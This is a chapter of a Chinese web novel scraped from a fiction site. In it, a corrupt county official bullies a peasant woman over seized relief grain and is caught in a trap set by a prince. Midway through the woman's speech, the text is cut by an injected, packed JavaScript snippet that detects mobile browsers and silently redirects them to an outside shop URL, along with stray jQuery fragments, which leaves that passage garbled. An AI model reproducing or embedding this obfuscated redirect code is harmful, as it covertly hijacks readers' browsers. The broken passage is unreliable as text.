文趣网 > 其他小说 > 别惹那个大胃王,她是终极凶兽! > 24. 瓮中捉混蛋
    大雨滂沱,泥水飞溅,在通往石口村的崎岖山路上,一行人马疾驰而过,他们目的明确,像是接下命令般,快马加鞭行至石口村的一户茅草屋前。

    前面带路的那人松开缰绳,身下的黑马也顺势停下。

    那人一跃下马,主动跑到后面豪华的马车边,对着里面的人谄媚道:“李大人,已经到了,请您下车。”

    说着,那人主动趴在了地上,像条狗一般,低下头,弓直了腰背,等着马车上的人使用。

    “哼。”

    马车内传来一声不屑的嘲讽声,紧接着帘子便被掀开,一个身形臃肿的中年男人走了下来。

    他连看都没看身下的侍者,像是习惯了直接一脚踩上去,那人脊背明显地颤了一颤,但又立刻使劲挺了起来。

    李讯走下他的人体阶梯,立马就有人给他撑起了伞,他正了正衣襟,朝着那破旧的茅草屋愤愤走去。

    “哼,真是一群狗崽子,幸亏是让老子提前知道了朝廷要查的消息,不然还真栽了。”

    李讯边走边骂。

    身后跟随的七八名侍者与那撑伞的人也立马跟上:“还是大人厉害,朝廷那帮人儿查的是元波那边儿,咱们提前知道了消息,把这□□不上粮的都弄喽!那之后还有谁能查咱们?就是天王老子来了也屁都查不着!”

    李讯咧着嘴笑着停在屋门前,翻着手背拍了拍侍者的脸:“嘿,还得是你小子会说话,去,把门弄开。”

    “哎,得嘞!”

    侍者一手给李讯撑伞,另一只手毫无章法地朝着屋门砸了两下:“里面的,给我们大人开门!赶紧的!”

    哐哐的砸门声混合着震耳欲聋的雷电轰鸣一同降下,连带着地面的泥泞都能抖三抖。

    本没有声音的屋内突然一阵慌乱,外面的李讯能听到脚步声,但里面的人就是迟迟不给开门。

    哼,真是一群胆小怕事的贱狗,只要他一来这破村子,就一定会这样。

    粮食交不上,话也不敢说,真是屁用没有,不如都死了算了。

    李讯皱起眉,看着那被雨水浇湿的木门,心中不快。

    但这次不一样,他暂时还不能动手。

    李傅大舅与他说,朝廷那边不知怎得知晓了谷凌官府贪污一事,让他抓紧趁着那翊王去到谷凌抓人时把元波这边私自征粮与扣押的证据清一清。

    所以他才会在这种孬天气来到这破村子。

    李讯给了身边侍者一个眼色,侍者会意,立刻大吼起来:“喂!听见了没?赶紧开门呐!别在这儿敬酒不吃吃罚酒!”

    侍者大吼着,又抬起腿照着门上猛踹一脚。

    很快,似乎是外面的人的怒气传至屋内,这一次屋内的人没有再犹豫,小心翼翼将屋门打开,但只是堪堪掀开一条缝,就马上被那侍者拽住门框一把掀开!

    妇人本也还抓着门,被侍者这股蛮力拽得一下趴倒在泥地上。

    没有木门的阻挡,硕大雨珠又一次被风吹进屋子里,弄湿了屋里的地面。

    李讯低头看向那差点摔倒的妇人,沉默不言,他臃肿肥胖的影子像座山压在妇人头顶,妇人低着头,只是在泥土看到倒影,都能察觉到这阵恐怖的压迫感。

    还是那侍者大声道:“怎么?不请我们大人进屋坐坐?还是你想跟我们回官府聊聊?”

    侍者用鞋尖戳了戳妇人的胳膊,不屑地哼了一声。

    妇人本低着头,眸光微动,她喉中不自觉吞咽一口,似乎是非常紧张,但在重新抬头之时,又变回了正常的模样。

    正常的,没有带收音法器的,正常的面对这群人时害怕的模样。

    妇人心跳极快,但又在心中自己安慰自己,都已经走到如今这步田地,况且翊王殿下还在暗处盯着,她要抓住这李讯贪污的证据,绝不能往后缩。

    妇人缓慢地站起身,看着李讯那张肥头大耳的脸盘,分不清此刻自己额前的是汗还是雨珠,那水珠凉凉的,只是一味地渗下。

    她做了个请的手势,有些结巴道:“李大人,外面凉,快...快进屋里吧。”

    她看着李讯,李讯也正低头看着她,片刻,才沉默着走进屋子。

    那侍者看着自家大人进了屋,在门前先是恶狠狠淬了口唾沫,然后斜着眼也跟着走了进去。

    屋门被再次关上,但这一次与上次不同,那股潮湿寒气久久不散。

    李讯早就坐在了那硬硬的木椅子上,那椅子不太结实,他又臃肿的不得了,看上去就好像虽是都能把椅子坐坏一样。

    妇人局促地站在门前,她低着头,似乎又想起了什么,小心翼翼地挪近了些许。

    李讯看着她,又偏头看了看床上瘫着的那骨瘦如柴的老人,这才开口试探道:“最近,有不少人来过你这儿吧。”

    话音落,妇人的身体猛然一颤,但很快又平复下来。

    李讯观察着她的反应一皱眉:“问你话呢,有嘴不知道说?”

    “没,没有人来过。”妇人低着头道。

    李讯看着她,又甩给侍者一个眼神,那侍者会意,又冲上去对着妇人的肚子就是一脚:“有没有人来过?快说!不说就杀了你!”

    妇人腹部剧痛,被猛然踹到地上,她皱着眉捂住肚子:“没有人来过啊李大人,这些天净是下雨,村子里路又难走,谁能来我们这儿啊...”

    “我们这儿穷...现在连口吃的都没有...谁还会来我们这儿啊...谁还会来我们这儿啊...”

    说着,妇人又哭了起来。

    “哎...哎!”

    床上的男人见自己妻子被打,急得连连抬手,但又根本直不起身子。

    那侍者也看向了他,反应过来这老头是想保护自己妻子时,阴笑着走过去:“喂,臭老头子,上次我们大人不是已经教育过你了?怎么,这次还不懂事?换我教育教育你?”

    男人浑浊的眼睛满是血丝,死死盯着那侍者,侍者似乎也被这眼神惹毛,抬手就要打,可还未打下,李讯就出声拦住了他:“行了。”

    侍者的手悬在半空,他看向自家主子,又把手放下。

    李讯重重呼了口气,看着地上挣扎的妇人,平静道:“知道我这次来是为了什么吗?”

    妇人疼的满头大汗,说不出话来,只能用力地摇摇头。

    李讯直接开门见山:“上头估计是有人知道了粮食的事,要来彻查,你...知道该怎么做吧?”

    妇人咬着牙,没有说话。

    李讯看着她这副模样,心头升起气来,本来平静的面具上也出现了一丝裂痕:“老子问你话呢,听见没有?”

    妇人依旧不说话。

    李讯重重呼出一口气,硬生生把心头的气憋回去:“要是上面的人来问,你和你这儿这群人,就说官府从未征收过你们的粮食,更没有将那批赈灾粮扣押!听懂没有?”

    李讯手中盘着一圈佛珠,他用那肥胖的手一下下转动着珠子,一下比一下发狠:“你们就都这么说就行了,要是不答应...”

    说着,李讯又突然沉默下来。

    他抬眼看向妇人,语气中露出了藏起的凶狠:“老子就把你们全弄死!听明白了吗?嗯?连好狗都知道好死不如赖活着,你是想让一村子的人全死,还是继续活下去?!”

    李讯终究还是没能将那伪善的面具带住,这样狠毒的话吼出,可地上蜷缩着身体的妇人就是一直沉默,一直不答应。

    李讯实在忍不住了,心中不爽冲出,猛地就将桌子踹翻了过去:“你别给老子敬酒不吃吃罚酒昂!老子和你好好说话这是给了你多大的面子?!嗯?心里没点数?!”

    “你这畜生!!!”

    妇人这才出声,但与方才害怕的模样不同,她满眼通红,嘶哑道:“你一个劲地收我们种的粮食!连朝廷派发的赈灾粮都要私吞!这不是事实吗?你简直不是人!现在我们连活都活不下去了还得帮你一把?!你去死吧!李讯你去死

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665353|205820||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吧!”

    妇人将强忍一生的怒火全都嘶吼出来,她死死瞪着椅子上的那个人,眼中没有一丝害怕,全是畅快。

    她不知道接下来等待她的是什么,也不知道翊王殿下会不会来救她,但她活了这么一辈子,就算是死也要站起来一次,绝不能没有任何余地的一直被人欺压。

    妇人死死瞪住李讯,满是脏泥的双手紧紧攥了起来。

    “你这疯婆子!”李讯猛地冲了上去,“不答应是吧?老子管你答不答应啊?老子现在就砍了你!砍了你再把这村子里所有的贱狗都砍了!把你们都弄死我看还有什么能查着的?老子收你们的粮食是看得起你们!还敢反抗了还?!贱狗就该规规矩矩服服气气的!”

    李讯大怒,顺手在侍者腰间拔出短刀就要刺向妇人,就在他举刀的一刻,一道绿色的光芒突然弹出,猛地打向他的手腕,将那短刀震了下来。

    门被咻然打开,雨水又一次浇灌进来,但这一次的来人身着朝廷兵服,齐齐将李讯和所有侍者都按在地上。

    一瞬间,境况咻然反转。

    所有的侍者都傻了眼,想要拔刀却被死死按住,脸贴在土地上,抬都抬不起来。

    “你们...”李讯被这突如其来的变化吓了一跳,他也一样被如此对待,心中大震,“你们是谁?!你们——”

    他肥硕的身体被士兵们压着地上动弹不得,但他努力偏头去看,正巧对上朝廷的官服标志。

    只是一瞬间,李讯眼露恐惧,但他又想到了什么,立刻挣扎起来:“你们做什么?啊?你们这是做什么?!你们知道我是谁吗你们?!我可是——”

    “元波县丞,李讯。”方逸诚从门外走近,他说着,对上李讯那张表情丰富的脸,“我说的不错吧?”

    “......”

    李讯偏着头看着来人身形样貌,惊得瞪大了眼睛。

    方逸诚挑眉:“怎么,本殿说错了?你不是李讯?”

    话音落,按住李讯的那两个士兵更加用力地按住了他的脑袋,李讯挣扎着,眼珠子滴溜溜来回转,他知道这是什么意思,更看出了来人是谁,再也没有了方才对待妇人的那副神气:“我...我是,我是。”

    方逸诚故作样子地点点头:“哦,没错就好,本殿还以为是抓错了好人,那可就不对了。”

    说着,方逸诚绕过李讯走到那妇人身边,俯身轻轻将她带了起来。

    妇人满脸泪痕,但看到翊王果真来成功抓住了李讯,心中惊讶又惊喜。

    腹部的疼痛不断,其实她一直以为,上面的人们都是一副嘴脸来着。

    方逸诚简单询问了妇人身体状况,然后抬手召来随行大夫,几名大夫立刻将妇人拉了出去,临走时,妇人将腰间带着的收音法器交到方逸诚手中。

    方逸诚接过,目送妇人离开去接受治疗,而被按在地上的李讯仍旧分不清状况,谄媚又悲哀地扯着嘴角笑着:“那个...翊,翊王殿下,是不是搞错了什么啊?我是好人来着的!是好人来的啊!您要是不信,可以问问我身边的这些人!他们都清楚的很!他们都清楚的很啊!!”

    他说完,屋里再没了声音。

    李讯神色紧张地望着那道高大的玄色身影,一直看着那男人俯身在自己面前蹲下。

    方逸诚将那收音法器开启,举在李讯面前。

    “刺啦刺啦”的响声后,方才李讯与妇人的对话一字不落地被重放而出。

    “......”

    李讯瞳孔骤缩,他这才反应过来,这一切都是一场圈套,自己也早就被圈了进来,一切都来不及了。

    他张着干裂的嘴巴,似是还想解释什么,但听着法器中储存的自己先前亲口说出的字字句句,大脑一片空白。

    方逸诚冷笑:“李讯,十三年前于元波官府任职,一路平稳上升,到今天,就是你最后一天挂着这个职称了。”

    “要好好珍惜啊,最后还带着这职称的每一秒。”